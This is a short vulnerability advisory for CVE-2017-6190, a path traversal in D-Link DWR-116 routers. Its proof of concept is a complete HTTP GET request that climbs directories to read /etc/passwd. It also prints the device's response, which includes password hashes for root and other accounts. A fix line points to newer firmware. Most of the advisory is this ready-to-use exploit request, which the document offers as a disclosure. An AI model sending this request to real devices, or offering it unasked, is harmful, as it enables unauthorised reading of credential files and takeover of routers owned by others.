D-Link DWR-116 / DWR-116A1 - Arbitrary File Download

# Title: D-Link DWR-116 Arbitrary File Download

# Vendor: D-Link (www.dlink.com)

# Affected model(s): DWR-116 / DWR-116A1

# Tested on: V1.01(EU), V1.00(CP)b10, V1.05(AU)

# CVE: CVE-2017-6190

# Date: 04.07.2016

# Author: Patryk Bogdan (@patryk_bogdan)



Description:

D-Link DWR-116 with firmware before V1.05b09 suffers from vulnerability

which leads to unathorized file download from device filesystem.





PoC:



HTTP Request:

GET /uir/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1

Host: 192.168.2.1

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close



HTTP Response:

HTTP/1.0 200 OK

Content-Type: application/x-none

Cache-Control: max-age=60

Connection: close



root:$1$$taUxCLWfe3rCh2ylnFWJ41:0:0:root:/root:/bin/ash

nobody:$1$$qRPK7m23GJusamGpoGLby/:99:99:nobody:/var/usb:/sbin/nologin

ftp:$1$$qRPK7m23GJusamGpoGLby/:14:50:FTP USER:/var/usb:/sbin/nologin





Fix:

Update device to the new firmware (V1.05b09)